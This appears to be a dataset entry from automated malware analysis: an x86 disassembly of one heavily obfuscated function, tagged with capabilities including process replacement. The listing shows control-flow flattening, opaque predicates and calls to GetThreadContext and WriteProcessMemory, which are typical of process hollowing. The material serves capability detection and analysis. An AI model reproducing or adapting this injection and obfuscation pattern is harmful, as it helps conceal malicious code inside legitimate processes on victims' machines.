Function at 0x10007370
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x134
mov eax, dword [0x1006e800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x13c], 0xd88e1ee
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
sub eax, 0x803c3b8c
je 0x10010f2b
jmp 0x100073ac
mov eax, dword [ebp - 0x140]
sub eax, 0x806e8442
je 0x10010ead
jmp 0x100073c2
mov eax, dword [ebp - 0x140]
sub eax, 0x8093a52a
je 0x1000ea06
jmp 0x100073d8
mov eax, dword [ebp - 0x140]
sub eax, 0x815c1260
je 0x1000bfb3
jmp 0x100073ee
mov eax, dword [ebp - 0x140]
sub eax, 0x823301fb
je 0x10009fc7
jmp 0x10007404
mov eax, dword [ebp - 0x140]
sub eax, 0x83035f11
je 0x1000dac4
jmp 0x1000741a
mov eax, dword [ebp - 0x140]
sub eax, 0x83210137
je 0x1000bd19
jmp 0x10007430
mov eax, dword [ebp - 0x140]
sub eax, 0x835004bd
je 0x1000d266
jmp 0x10007446
mov eax, dword [ebp - 0x140]
sub eax, 0x841d71fe
je 0x1000c4e1
jmp 0x1000745c
mov eax, dword [ebp - 0x140]
sub eax, 0x8430f640
je 0x1000f015
jmp 0x10007472
mov eax, dword [ebp - 0x140]
sub eax, 0x847e0989
je 0x10009fe6
jmp 0x10007488
mov eax, dword [ebp - 0x140]
sub eax, 0x851c3987
je 0x1000c9dc
jmp 0x1000749e
mov eax, dword [ebp - 0x140]
sub eax, 0x8579de0f
je 0x10010d8e
jmp 0x100074b4
mov eax, dword [ebp - 0x140]
sub eax, 0x861c76c1
je 0x1000d370
jmp 0x100074ca
mov eax, dword [ebp - 0x140]
sub eax, 0x862ac320
je 0x100108fc
jmp 0x100074e0
mov eax, dword [ebp - 0x140]
sub eax, 0x8943037a
je 0x1000fa85
jmp 0x100074f6
mov eax, dword [ebp - 0x140]
sub eax, 0x8a7461b3
je 0x10010cc0
jmp 0x1000750c
mov eax, dword [ebp - 0x140]
sub eax, 0x8a9baed1
je 0x1000a037
jmp 0x10007522
mov eax, dword [ebp - 0x140]
sub eax, 0x8bbfc2c3
je 0x1000cb05
jmp 0x10007538
mov eax, dword [ebp - 0x140]
sub eax, 0x8bf6ef8d
je 0x10010617
jmp 0x1000754e
mov eax, dword [ebp - 0x140]
sub eax, 0x8d287c41
je 0x10010d3a
jmp 0x10007564
mov eax, dword [ebp - 0x140]
sub eax, 0x8d6adfa2
je 0x1000bb6e
jmp 0x1000757a
mov eax, dword [ebp - 0x140]
sub eax, 0x8e61e0bc
je 0x1000f669
jmp 0x10007590
mov eax, dword [ebp - 0x140]
sub eax, 0x8eaedf57
je 0x1000f401
jmp 0x100075a6
mov eax, dword [ebp - 0x140]
sub eax, 0x8f1cfdff
je 0x1000b8b5
jmp 0x100075bc
mov eax, dword [ebp - 0x140]
sub eax, 0x8f3c0b1c
je 0x1000e920
jmp 0x100075d2
mov eax, dword [ebp - 0x140]
sub eax, 0x8f7a020a
je 0x1000b3f8
jmp 0x100075e8
mov eax, dword [ebp - 0x140]
sub eax, 0x903d7589
je 0x1000c99e
jmp 0x100075fe
mov eax, dword [ebp - 0x140]
sub eax, 0x904b5bcb
je 0x1000e3cf
jmp 0x10007614
mov eax, dword [ebp - 0x140]
sub eax, 0x90fbee8b
je 0x1000b12c
jmp 0x1000762a
mov eax, dword [ebp - 0x140]
sub eax, 0x9141e9d3
je 0x1000e244
jmp 0x10007640
mov eax, dword [ebp - 0x140]
sub eax, 0x91990204
je 0x1000af8c
jmp 0x10007656
mov eax, dword [ebp - 0x140]
sub eax, 0x92ac3992
je 0x1000b6eb
jmp 0x1000766c
mov eax, dword [ebp - 0x140]
sub eax, 0x937f3115
je 0x1000de76
jmp 0x10007682
mov eax, dword [ebp - 0x140]
sub eax, 0x9592b8cd
je 0x1000a604
jmp 0x10007698
mov eax, dword [ebp - 0x140]
sub eax, 0x9607a19d
je 0x1000c222
jmp 0x100076ae
mov eax, dword [ebp - 0x140]
sub eax, 0x9657334a
je 0x1000d83d
jmp 0x100076c4
mov eax, dword [ebp - 0x140]
sub eax, 0x96c7bf1f
je 0x1000eb95
jmp 0x100076da
mov eax, dword [ebp - 0x140]
sub eax, 0x96d2e2cc
je 0x1000cee9
jmp 0x100076f0
mov eax, dword [ebp - 0x140]
sub eax, 0x9847830f
je 0x10010b45
jmp 0x10007706
mov eax, dword [ebp - 0x140]
sub eax, 0x98e485e4
je 0x1000a988
jmp 0x1000771c
mov eax, dword [ebp - 0x140]
sub eax, 0x9998da44
je 0x1000d166
jmp 0x10007732
mov eax, dword [ebp - 0x140]
sub eax, 0x9b46c7cc
je 0x1000a526
jmp 0x10007748
mov eax, dword [ebp - 0x140]
sub eax, 0x9ba57d4c
je 0x100100b8
jmp 0x1000775e
mov eax, dword [ebp - 0x140]
sub eax, 0x9bbaac46
je 0x1000d84c
jmp 0x10007774
mov eax, dword [ebp - 0x140]
sub eax, 0x9c3991a9
je 0x1000e4c1
jmp 0x1000778a
mov eax, dword [ebp - 0x140]
sub eax, 0x9deb8329
je 0x1000ca88
jmp 0x100077a0
mov eax, dword [ebp - 0x140]
sub eax, 0x9e341e82
je 0x10010542
jmp 0x100077b6
mov eax, dword [ebp - 0x140]
sub eax, 0x9e698f1d
je 0x1000b76b
jmp 0x100077cc
mov eax, dword [ebp - 0x140]
sub eax, 0x9ed47fa4
je 0x1000c8c8
jmp 0x100077e2
mov eax, dword [ebp - 0x140]
sub eax, 0x9f40ee39
je 0x1000cd55
jmp 0x100077f8
mov eax, dword [ebp - 0x140]
sub eax, 0x9fba3220
je 0x1000a642
jmp 0x1000780e
mov eax, dword [ebp - 0x140]
sub eax, 0x9fc05c5f
je 0x1000c797
jmp 0x10007824
mov eax, dword [ebp - 0x140]
sub eax, 0xa00c74ac
je 0x1000f913
jmp 0x1000783a
mov eax, dword [ebp - 0x140]
sub eax, 0xa20e85ea
je 0x1000ffd7
jmp 0x10007850
mov eax, dword [ebp - 0x140]
sub eax, 0xa27d7c3b
je 0x1000a414
jmp 0x10007866
mov eax, dword [ebp - 0x140]
sub eax, 0xa336587d
je 0x1000e0ee
jmp 0x1000787c
mov eax, dword [ebp - 0x140]
sub eax, 0xa3b8740f
je 0x1000ada3
jmp 0x10007892
mov eax, dword [ebp - 0x140]
sub eax, 0xa42a752b
je 0x1000b633
jmp 0x100078a8
mov eax, dword [ebp - 0x140]
sub eax, 0xa52ecfbb
je 0x10010f5a
jmp 0x100078be
mov eax, dword [ebp - 0x140]
sub eax, 0xa5478a04
je 0x1000f0c1
jmp 0x100078d4
mov eax, dword [ebp - 0x140]
sub eax, 0xa54c4361
je 0x1000b5ac
jmp 0x100078ea
mov eax, dword [ebp - 0x140]
sub eax, 0xa56ca75d
je 0x1000c7ef
jmp 0x10007900
mov eax, dword [ebp - 0x140]
sub eax, 0xa56e4853
je 0x1000b4d8
jmp 0x10007916
mov eax, dword [ebp - 0x140]
sub eax, 0xa5eb63e5
je 0x1000e164
movss xmm0, dword [0x1001e3ac]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], 0x847e0989
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
sub edx, 0x2102c0a
sub edx, 1
add edx, 0x2102c0a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x49957769
mov ecx, 0x8a9baed1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
movss xmm0, dword [0x1001e23c]
movss dword [ebp - 0x138], xmm0
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x49957769
mov ecx, 0xfee1921
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0x631d160d
jmp 0x10010f9c
movss xmm0, dword [0x1001e394]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], 0x5d9144d7
jmp 0x10010f9c
mov dl, 1
mov eax, 0x526ac1d
mov ecx, 0x2a90cecb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x134]
movss xmm0, dword [0x1001e374]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x526ac1d
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e341e82
mov ecx, 0x649a754b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0xb361d471
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
sub edx, 0xcb554737
sub edx, 1
add edx, 0xcb554737
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa50d054
mov ecx, 0x1ea977a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x1001e338]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x5d6de403
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23505e0f
mov ecx, 0x11c829de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x1001e324]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x1001e320]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xd37884ae
mov ecx, 0x543a301f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x1001e200]
movss dword [eax], xmm0
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b2be9ab
mov ecx, 0x1cbc4671
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x1001e314]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xc4227fe0
jmp 0x10010f9c
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x1001e1fc]
movss dword [eax], xmm0
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6df4097
mov ecx, 0x9e698f1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0xf0df293
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
add edx, 0x966af867
sub edx, 1
sub edx, 0x966af867
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcf6cf366
mov ecx, 0xdac30be5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
sub edx, 0xd60e07a2
sub edx, 1
add edx, 0xd60e07a2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf1204d3c
mov ecx, 0x372b8126
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x1001e2f8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x1001e2f4]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xb24102ea
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6983292f
mov ecx, 0xdfc9993f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
add edx, 0x5da011ca
sub edx, 1
sub edx, 0x5da011ca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4be59653
mov ecx, 0x4d34dee0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
sub edx, 0x8a862dec
sub edx, 1
add edx, 0x8a862dec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1dc0fe03
mov ecx, 0x19890de4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62a774e
mov ecx, 0xdde781ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
sub edx, 0x345a8e46
sub edx, 1
add edx, 0x345a8e46
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x58a0390
mov ecx, 0xf01b8662
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0x41396536
jmp 0x10010f9c
mov dl, 1
mov eax, 0xe1e1ba8c
mov ecx, 0x6e730ce5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b597999
mov ecx, 0x24a931e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0xe1e1ba8c
jmp 0x10010f9c
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001e1d4]
movss dword [eax], xmm0
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
add edx, 0xe339e976
sub edx, 1
sub edx, 0xe339e976
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7bdcda7b
mov ecx, 0xe1d57ebb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0xcaa04eb1
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
sub edx, 0x5bef2f3f
sub edx, 1
add edx, 0x5bef2f3f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54ea5b66
mov ecx, 0xf584443b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dl, 1
mov eax, 0x861c76c1
mov ecx, 0x62a747aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0x1db601d8
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd3e1a8f6
mov ecx, 0x609f0b18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0x9bbaac46
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
add edx, 0xf19ad414
sub edx, 1
sub edx, 0xf19ad414
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x309b5680
mov ecx, 0xec01db5e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001e1b0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001e1ac]
movss dword [eax], xmm0
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ea2d493
mov ecx, 0xf9a3c40b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001e258]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x4cc3988
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
sub edx, 0xf6fdabe8
sub edx, 1
add edx, 0xf6fdabe8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x62757664
mov ecx, 0xa5eb63e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x79a0db2c
mov ecx, 0x66ac45e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001e250]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001e24c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xec862062
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0xad320155
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0x55ca8b09
jmp 0x10010f9c
mov dl, byte [ebp - 0xa9]
mov eax, 0x25ede118
mov ecx, 0xe305e2c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dl, byte [ebp - 0xa1]
mov eax, 0xd12d7047
mov ecx, 0x521a93fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0x7e34d68f
jmp 0x10010f9c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
sub edx, 0x3edb65da
sub edx, 1
add edx, 0x3edb65da
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8579de0f
mov ecx, 0xbcf0057a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
add edx, 0xe8227ec6
sub edx, 1
sub edx, 0xe8227ec6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc6a25647
mov ecx, 0x31c18ab2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0xf0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x59], al
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
add edx, 0x9b0bf50
sub edx, 1
sub edx, 0x9b0bf50
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x38b7919f
mov ecx, 0x7956c66c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
sub ecx, 0x280ca366
add ecx, 8
add ecx, 0x280ca366
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x13c], 0x5c683b03
jmp 0x10010f9c
mov dl, byte [ebp - 0x39]
mov eax, 0x3881d186
mov ecx, 0x4f977124
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0x4e18907d
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0xcdb27900
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0x649a754b
jmp 0x10010f9c
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x1001e20c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xb359e043
jmp 0x10010f9c
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001e1c8]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xb48618c5
jmp 0x10010f9c
mov eax, dword [ebp - 0x118]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x13c], 0x8b686dd
jmp 0x10010f9c
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xa0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x13c], 0x15473523
jmp 0x10010f9c
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf4]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x13c], 0x3f5bca36
jmp 0x10010f9c
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x13c], 0xbcf0057a
jmp 0x10010f9c
mov dword [ebp - 0x13c], 0xf79aafe1
jmp 0x10010f9c
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x13c], 0x3c8fb627
jmp 0x10010f9c
mov eax, dword [ebp - 0x108]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x13c], 0x72ae4037
jmp 0x10010f9c
jmp 0x10007390